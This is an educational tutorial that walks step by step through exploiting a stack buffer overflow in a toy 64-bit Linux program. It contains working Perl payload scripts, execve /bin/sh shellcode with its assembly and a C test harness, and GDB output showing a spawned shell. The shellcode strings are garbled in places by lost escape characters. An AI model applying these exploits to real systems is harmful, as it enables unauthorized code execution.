In this article, let’s take a look at how to exploit a stack buffer overflow vulnerability.

Crashing the program

In the previous article, we have discussed how to crash the program. We used a large buffer of 300 As to crash the program using the following template. exploit1.pl We have passed 300 As and we don’t know which 8 are among those three hundred As overwriting the RBP register. We want to be able to find that exact offset overwriting the RBP register. If we can find out the offset of which 8 As are actually overwriting the RBP register, we will be able to find out the offset. That will help us to redirect the program flow to some code that is written by us. $junk = “A” x 300; print $junk;

Finding offset to overwrite EIP

Since we know that there is a crash with 300 characters, to proceed further with the analysis, let’s once again load the executable directly instead of analyzing the core file. Now, let’s run the command pattern create 300 within GEF terminal.This is going to produce a pattern with a length of 300. We can use this pattern instead of three hundred As so we will be able to identify which four characters are actually overwriting RBP. 75 commands loaded for GDB 9.1 using Python engine 3.8 [] 5 commands could not be loaded, run gef missing to know why. Reading symbols from ./vulnerable… (No debugging symbols found in ./vulnerable) gef➤   Let’s copy the pattern and paste it into the following file. aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa [+] Saved as ‘$_gef0’ gef➤   exploit2.pl Now let’s run this exploit2.pl and save it into a file called payload2. $junk = “aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa”; print $junk; Now let’s load the application once again using GDB and let’s start running this binary using run and let us pass the content of payload2 as the argument to this program and run it.   75 commands loaded for GDB 9.1 using Python engine 3.8 [] 5 commands could not be loaded, run gef missing to know why. Reading symbols from ./vulnerable… (No debugging symbols found in ./vulnerable) gef➤   gef➤  r $(cat payload2) Starting program: /home/dev/x86_64/simple_bof/vulnerable $(cat payload2) Program received signal SIGSEGV, Segmentation fault. 0x00005555555551ad in vuln_func () If you notice, the application crashed and once again there is a segmentation fault. But, we cannot derive any conclusions just by looking at the address that caused the segmentation fault. Let’s examine the registers by using info registers and check if we can notice anything useful. There doesn’t seem to be any pattern overwriting RIP, but once again, RBP appears to have been overwritten with 8 bytes from our payload. Let’s confirm that by using the pattern search command from GEF. rbx            0x5555555551b0      0x5555555551b0 rcx            0x10000             0x10000 rdx            0x10                0x10 rsi            0x7fffffffe3a0      0x7fffffffe3a0 rdi            0x7fffffffde1c      0x7fffffffde1c rbp            0x6261616161616168  0x6261616161616168 rsp            0x7fffffffde08      0x7fffffffde08 r8             0x0                 0x0 r9             0x7ffff7fe0d50      0x7ffff7fe0d50 r10            0x0                 0x0 r11            0x0                 0x0 r12            0x555555555060      0x555555555060 r13            0x7fffffffdf10      0x7fffffffdf10 r14            0x0                 0x0 r15            0x0                 0x0 rip            0x5555555551ad      0x5555555551ad <vuln_func+49> eflags         0x10246             [ PF ZF IF RF ] cs             0x33                0x33 ss             0x2b                0x2b ds             0x0                 0x0 es             0x0                 0x0 fs             0x0                 0x0 gs             0x0                 0x0 gef➤  The pattern is found after 256 bytes. So we found the offset to RBP, which is 256 bytes. Even though we are unable to overwrite RIP, we can calculate the possible offset to RIP based on the offset to RBP. RIP will be overwritten immediately after RBP. The offset to RIP should be 256 + 8 = 264 bytes. Let’s update our perl script. [+] Found at offset 256 (little-endian search) likely gef➤  exploit3.pl With this new payload, if everything goes as expected, we should see 8 Bs in RBP and 8 Cs in RIP. $junk = “A” x 256; # Offset to RBP $junk .= “B” x 8;  # RBP $junk .= “C” x 8;  # RIP print $junk; Now let’s run this exploit3.pl and save it into our file called payload3.  Let’s load the application once again using GDB, start running this binary using run and pass the content of payload3 as the argument to this program and run it. Once again, the application crashed and the segmentation fault does not seem to show anything useful. Let’s run info registers and observe the registers once again. 75 commands loaded for GDB 9.1 using Python engine 3.8 [] 5 commands could not be loaded, run gef missing to know why. Reading symbols from ./vulnerable… (No debugging symbols found in ./vulnerable) gef➤  r $(cat payload3) Starting program: /home/worker1/x86_64/simple_bof/vulnerable $(cat payload3) Program received signal SIGSEGV, Segmentation fault. 0x00005555555551ad in vuln_func () The RBP register has 8 Bs as expected, but the RIP register does not contain 8 Cs. rbx            0x5555555551b0      0x5555555551b0 rcx            0x10000             0x10000 rdx            0x10                0x10 rsi            0x7fffffffe3a0      0x7fffffffe3a0 rdi            0x7fffffffde20      0x7fffffffde20 rbp            0x4242424242424242  0x4242424242424242 rsp            0x7fffffffde28      0x7fffffffde28 r8             0x0                 0x0 r9             0x7ffff7fe0d50      0x7ffff7fe0d50 r10            0x0                 0x0 r11            0x0                 0x0 r12            0x555555555060      0x555555555060 r13            0x7fffffffdf30      0x7fffffffdf30 r14            0x0                 0x0 r15            0x0                 0x0 rip            0x5555555551ad      0x5555555551ad <vuln_func+49> eflags         0x10246             [ PF ZF IF RF ] cs             0x33                0x33 ss             0x2b                0x2b ds             0x0                 0x0 es             0x0                 0x0 fs             0x0                 0x0 gs             0x0                 0x0 gef➤   In 64-bit architecture, it is worth knowing about the usable address space. This usable address space is from 0x0000000000000000 to 0x00007FFFFFFFFFFF. These addresses are called canonical addresses. Attempting to use non-canonical addresses (from 0x0000800000000000 to 0xFFFF7FFFFFFFFFFF) will cause a segmentation fault. So far, we have been noticing the segmentation faults due to the fact that we were overwriting RIP with a non-canonical address instead of an address from a valid range. This simply means we cannot overwrite all 64 bits of the RIP register. We should overwrite the lower 48 bits only to avoid segmentation fault. Check the output of vmmap, and we should see that all the entries are only in the canonical address range. As you can see, all the lines excluding the last one describe memory regions in user space and all of their first 2 bytes are set to 0.  Start              End                Offset             Perm Path 0x0000555555554000 0x0000555555557000 0x0000000000000000 r-x /home/worker1/x86_64/simple_bof/vulnerable 0x0000555555557000 0x0000555555558000 0x0000000000002000 r-x /home/worker1/x86_64/simple_bof/vulnerable 0x0000555555558000 0x0000555555559000 0x0000000000003000 rwx /home/worker1/x86_64/simple_bof/vulnerable 0x00007ffff7dc6000 0x00007ffff7fad000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x00007ffff7fad000 0x00007ffff7fae000 0x00000000001e7000 — /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x00007ffff7fae000 0x00007ffff7fb1000 0x00000000001e7000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x00007ffff7fb1000 0x00007ffff7fb4000 0x00000000001ea000 rwx /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x00007ffff7fb4000 0x00007ffff7fba000 0x0000000000000000 rwx  0x00007ffff7fcb000 0x00007ffff7fce000 0x0000000000000000 r– [vvar] 0x00007ffff7fce000 0x00007ffff7fcf000 0x0000000000000000 r-x [vdso] 0x00007ffff7fcf000 0x00007ffff7ffb000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x000000000002c000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002d000 rwx /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rwx  0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 –x [vsyscall] gef➤   The last line (i.e. 0xffffffffff600000…​[vsyscall]) refers to a 4 KB page in the kernel space which has been mapped into the user space. The key takeaway here is that all the user space addresses are in canonical address range. Keeping this in mind, let’s overwrite RIP register with 6 bytes instead of 8. Let’s update the exploit. exploit4.pl If all our theory is correct, after executing the payload generated from this file, we should see 6 Cs overwriting RIP register if everything goes as expected. $junk = “A” x 256; # Offset to RBP $junk .= “B” x 8;  # RBP $junk .= “C” x 6;  # RIP print $junk; Now let’s run this exploit4.pl and save it into our file called payload4.  Let’s load the application once again using GDB and start running this binary using run. Let’s pass the content of payload4 as the argument to this program and run it. We managed to successfully overwrite RIP register and this time, the segmentation fault clearly shows that our address 434343434343 in RIP has caused this crash. Let’s quickly confirm it by checking the registers. 75 commands loaded for GDB 9.1 using Python engine 3.8 [] 5 commands could not be loaded, run gef missing to know why. Reading symbols from ./vulnerable… (No debugging symbols found in ./vulnerable) gef➤  r $(cat payload4) Starting program: /home/worker1/x86_64/simple_bof/vulnerable $(cat payload4) Program received signal SIGSEGV, Segmentation fault. 0x0000434343434343 in ?? () As we can see, we are able to control the RIP register. rbx            0x5555555551b0      0x5555555551b0 rcx            0x10000             0x10000 rdx            0x10                0x10 rsi            0x7fffffffe3a0      0x7fffffffe3a0 rdi            0x7fffffffde1e      0x7fffffffde1e rbp            0x4242424242424242  0x4242424242424242 rsp            0x7fffffffde30      0x7fffffffde30 r8             0x0                 0x0 r9             0x7ffff7fe0d50      0x7ffff7fe0d50 r10            0x0                 0x0 r11            0x0                 0x0 r12            0x555555555060      0x555555555060 r13            0x7fffffffdf30      0x7fffffffdf30 r14            0x0                 0x0 r15            0x0                 0x0 rip            0x434343434343      0x434343434343 eflags         0x10246             [ PF ZF IF RF ] cs             0x33                0x33 ss             0x2b                0x2b ds             0x0                 0x0 es             0x0                 0x0 fs             0x0                 0x0 gs             0x0                 0x0 gef➤   Let’s also observe the stack by printing out values from $rsp-280. This should give us a better understanding of what we have placed on the stack so far.  g in the command shows 64-bit values. 0x7fffffffdd28: 0x4141414141414141 0x4141414141414141 0x7fffffffdd38: 0x4141414141414141 0x4141414141414141 0x7fffffffdd48: 0x4141414141414141 0x4141414141414141 0x7fffffffdd58: 0x4141414141414141 0x4141414141414141 0x7fffffffdd68: 0x4141414141414141 0x4141414141414141 0x7fffffffdd78: 0x4141414141414141 0x4141414141414141 0x7fffffffdd88: 0x4141414141414141 0x4141414141414141 0x7fffffffdd98: 0x4141414141414141 0x4141414141414141 0x7fffffffdda8: 0x4141414141414141 0x4141414141414141 0x7fffffffddb8: 0x4141414141414141 0x4141414141414141 0x7fffffffddc8: 0x4141414141414141 0x4141414141414141 0x7fffffffddd8: 0x4141414141414141 0x4141414141414141 0x7fffffffdde8: 0x4141414141414141 0x4141414141414141 0x7fffffffddf8: 0x4141414141414141 0x4141414141414141 0x7fffffffde08: 0x4141414141414141 0x4141414141414141 0x7fffffffde18: 0x4141414141414141 0x4242424242424242 0x7fffffffde28: 0x0000434343434343 0x00007fffffffdf38 0x7fffffffde38: 0x0000000200000000 0x0000000000000000 0x7fffffffde48: 0x00007ffff7ded0b3 0x00007ffff7ffc620 0x7fffffffde58: 0x00007fffffffdf38 0x0000000200000000 0x7fffffffde68: 0x0000000000401136 0x00000000004011a0 0x7fffffffde78: 0x69a74407a60879db 0x0000000000401050 0x7fffffffde88: 0x00007fffffffdf30 0x0000000000000000 0x7fffffffde98: 0x0000000000000000 0x9658bbf81aa879db gef➤   If you look at the output, there are a bunch of As, followed by 0x4242424242424242 and then 6 Cs. Everything that we have placed inside the buffer is currently available on the stack and that’s a good news. The key takeaway from this observation is that we managed to identify how much junk is required to be able to control the RIP register. We also noticed that most of the characters we are placing in the buffer are available on the stack.

Redirecting execution and executing shellcode

Let’s discuss how we can make use of the space controllable by us on the stack. Let’s also discuss how we can make use of the control we have on the RIP register. A simple idea here is that we will place  some shellcode in the beginning of the buffer and then force this RIP register to execute the shellcode we placed.  Shellcode is a sequence of instructions that your machine can execute directly. We don’t have to worry about compiling shellcode because shellcode is something that can be understood and executed by the CPU directly. So in the space that we have on the stack we can place some shellcode because it can be directly executed by the CPU. There are multiple resources available online where shellcode is publicly available. We are going to take this shell code from http://shell-storm.org/ for this exercise, which is available at http://shell-storm.org/shellcode/files/shellcode-806.php. This shellcode, when executed, is going to execute /bin/sh. Let’s copy the highlighted shellcode into our exploit, as shown below.  * Dad` <3 baboon ;rdi            0x4005c4 0x4005c4 ;rsi            0x7fffffffdf40   0x7fffffffdf40 ;rdx            0x0      0x0 ;gdb$ x/s $rdi ;0x4005c4:        “/bin/sh” ;gdb$ x/s $rsi ;0x7fffffffdf40:  “30405@” ;gdb$ x/32xb $rsi ;0x7fffffffdf40: 0xc4    0x05    0x40    0x00    0x00    0x00    0x00    0x00 ;0x7fffffffdf48: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00 ;0x7fffffffdf50: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00 ;0x7fffffffdf58: 0x55    0xb4    0xa5    0xf7    0xff    0x7f    0x00    0x00 ; ;=> 0x7ffff7aeff20 :     mov    eax,0x3b ;   0x7ffff7aeff25 <execve+5>:   syscall  ; main:     ;mov rbx, 0x68732f6e69622f2f     ;mov rbx, 0x68732f6e69622fff     ;shr rbx, 0x8     ;mov rax, 0xdeadbeefcafe1dea     ;mov rbx, 0xdeadbeefcafe1dea     ;mov rcx, 0xdeadbeefcafe1dea     ;mov rdx, 0xdeadbeefcafe1dea     xor eax, eax     mov rbx, 0xFF978CD091969DD1     neg rbx     push rbx     ;mov rdi, rsp     push rsp     pop rdi     cdq     push rdx     push rdi     ;mov rsi, rsp     push rsp     pop rsi     mov al, 0x3b     syscall  / #include <stdio.h> #include <string.h> char code[] = “x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05“; int main() {     printf(“len:%d bytesn”, strlen(code));     ((void(*)()) code)();     return 0; } exploit5.pl The shellcode taken from shell-storm.org is now placed in our exploit. $shellcode = “x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05”; $junk = “A” x 256; # Offset to RBP $junk .= “B” x 8;  # RBP $junk .= “C” x 6;  # RIP print $junk; Now where do we place this shellcode in our buffer? Let’s examine the stack once again.

Finalizing the working exploit

Now let’s see how we can replace the 6 Cs so the execution will be redirected onto our shellcode. So let’s find an address that points to the shellcode and let’s try to overwrite the RIP with that address. The address 0x7fffffffdd28 is pointing to the beginning of our buffer. We can hardcode this address in RIP and place shellcode in the beginning of our buffer instead of As. To give some room for error, let’s place a small nop sled in before the shellcode. NOP stands for no operation and it basically does nothing but just passing the execution to the next instruction. 0x7fffffffdd28: 0x4141414141414141 0x4141414141414141 0x7fffffffdd38: 0x4141414141414141 0x4141414141414141 0x7fffffffdd48: 0x4141414141414141 0x4141414141414141 0x7fffffffdd58: 0x4141414141414141 0x4141414141414141 0x7fffffffdd68: 0x4141414141414141 0x4141414141414141 0x7fffffffdd78: 0x4141414141414141 0x4141414141414141 0x7fffffffdd88: 0x4141414141414141 0x4141414141414141 0x7fffffffdd98: 0x4141414141414141 0x4141414141414141 0x7fffffffdda8: 0x4141414141414141 0x4141414141414141 0x7fffffffddb8: 0x4141414141414141 0x4141414141414141 0x7fffffffddc8: 0x4141414141414141 0x4141414141414141 0x7fffffffddd8: 0x4141414141414141 0x4141414141414141 0x7fffffffdde8: 0x4141414141414141 0x4141414141414141 0x7fffffffddf8: 0x4141414141414141 0x4141414141414141 0x7fffffffde08: 0x4141414141414141 0x4141414141414141 0x7fffffffde18: 0x4141414141414141 0x4242424242424242 0x7fffffffde28: 0x0000434343434343 0x00007fffffffdf38 0x7fffffffde38: 0x0000000200000000 0x0000000000000000 0x7fffffffde48: 0x00007ffff7ded0b3 0x00007ffff7ffc620 0x7fffffffde58: 0x00007fffffffdf38 0x0000000200000000 0x7fffffffde68: 0x0000000000401136 0x00000000004011a0 0x7fffffffde78: 0x69a74407a60879db 0x0000000000401050 0x7fffffffde88: 0x00007fffffffdf30 0x0000000000000000 0x7fffffffde98: 0x0000000000000000 0x9658bbf81aa879db gef➤   The reason we’re going to use this NOP sled here is when we control the RIP and pass the execution to this, NOP sled basically does nothing but sliding the execution towards the shellcode. At some point of time, the execution will land on the shellcode and our shellcode gets executed.  Following is the exploit with these changes. exploit6.pl As we can see in the exploit, we are using 30 NOPS,  followed by the /bin/sh shellcode. $nops = “x90” x 30; $shellcode = “x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05”; $junk = “A” x (256-length($shellcode)-length($nops)); $junk .= “B” x 8;  # RBP $junk .= “x28xddxffxffxffx7f”; # RIP print $nops . $shellcode . $junk; We are printing the NOP sled, followed by shellcode and then we have junk, which will fill the remaining buffer until we reach RBP. 8 Bs are used to overwrite RBP and finally, RIP is filled with the address that is pointing to our NOP sled.  Let’s run the exploit against our vulnerable program and check if it works. The exploit has worked. GEF for linux ready, type gef’ to start, gef config’ to configure 75 commands loaded for GDB 9.1 using Python engine 3.8 [] 5 commands could not be loaded, run gef missing to know why. Reading symbols from ./vulnerable… (No debugging symbols found in ./vulnerable) gef➤  r $(cat payload6) Starting program: /home/worker1/x86_64/simple_bof/vulnerable $(cat payload6) process 60956 is executing new program: /usr/bin/dash $ id [Detaching after fork from child process 61255] uid=1000(worker1) gid=1000(worker1) groups=1000(worker1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),133(docker) $ uname -a [Detaching after fork from child process 61331] Linux worker1 5.4.0-40-generic #44-Ubuntu SMP Tue Jun 23 00:01:04 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux $  If we try the same exploit outside GDB, the exploit may not work — and it may through a segmentation fault. Let’s obtain the core file generated from the segmentation fault and examine how we can fix our exploit so that it works outside GDB. $ Let us examine the contents from $rsp-350. 75 commands loaded for GDB 9.1 using Python engine 3.8 [] 5 commands could not be loaded, run gef missing to know why. [New LWP 68610] Python Exception <class ‘UnicodeDecodeError’> ‘utf-8’ codec can’t decode byte 0x90 in position 20: invalid start byte:  Core was generated by `./vulnerable ������������������������������1�H�ѝ��Ќ��H��ST_�RWT^�;AAAAAAAAA’. Program terminated with signal SIGSEGV, Segmentation fault. #0  0x00007fffffffdd50 in ?? () gef➤   If you notice, 0x7fffffffdd82 is the address pointing to our NOP sled outside GDB and we used a different address that was causing a segfault. Let’s fix the exploit. 0x7fffffffdd42: 0x0000000000000000 0x11a0000000000000 0x7fffffffdd52: 0xe190000000000040 0x000000007ffff7ff 0x7fffffffdd62: 0x1198000000000000 0x0000000000000040 0x7fffffffdd72: 0xe2d5000000000000 0x909000007fffffff 0x7fffffffdd82: 0x9090909090909090 0x9090909090909090 0x7fffffffdd92: 0x9090909090909090 0xbb48c03190909090 0x7fffffffdda2: 0xff978cd091969dd1 0x52995f5453dbf748 0x7fffffffddb2: 0x41050f3bb05e5457 0x4141414141414141 0x7fffffffddc2: 0x4141414141414141 0x4141414141414141 0x7fffffffddd2: 0x4141414141414141 0x4141414141414141 0x7fffffffdde2: 0x4141414141414141 0x4141414141414141 0x7fffffffddf2: 0x4141414141414141 0x4141414141414141 0x7fffffffde02: 0x4141414141414141 0x4141414141414141 0x7fffffffde12: 0x4141414141414141 0x4141414141414141 0x7fffffffde22: 0x4141414141414141 0x4141414141414141 0x7fffffffde32: 0x4141414141414141 0x4141414141414141 0x7fffffffde42: 0x4141414141414141 0x4141414141414141 0x7fffffffde52: 0x4141414141414141 0x4141414141414141 0x7fffffffde62: 0x4141414141414141 0x4141414141414141 0x7fffffffde72: 0x4141414141414141 0x4242414141414141 0x7fffffffde82: 0xdd28424242424242 0xdf9800007fffffff 0x7fffffffde92: 0x000000007fffffff 0x0000000000020000 0x7fffffffdea2: 0xd0b3000000000000 0xc62000007ffff7de 0x7fffffffdeb2: 0xdf9800007ffff7ff 0x000000007fffffff gef➤   exploit6.pl   $nops = “x90” x 30; $shellcode = “x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05”; $junk = “A” x (256-length($shellcode)-length($nops)); $junk .= “B” x 8;  # RBP $junk .= “x82xddxffxffxffx7f“; # RIP print $nops . $shellcode . $junk; Run the exploit and it should work. Our exploit successfully worked outside GDB. $   

Conclusion

In this article, we discussed a case study of how a simple stack-based buffer overflow vulnerability can be exploited on a modern Linux 64-bit machine. To keep the exploitation steps simple, we disabled all the exploit mitigation techniques.  In the next article, we will discuss various exploit mitigation techniques to prevent buffer overflow attacks.

Sources

Buffer Overflow, OWASP Stack-Based Buffer Overflow Attacks: Explained and Examples, Rapid7 What Is a Buffer Overflow, Acunetix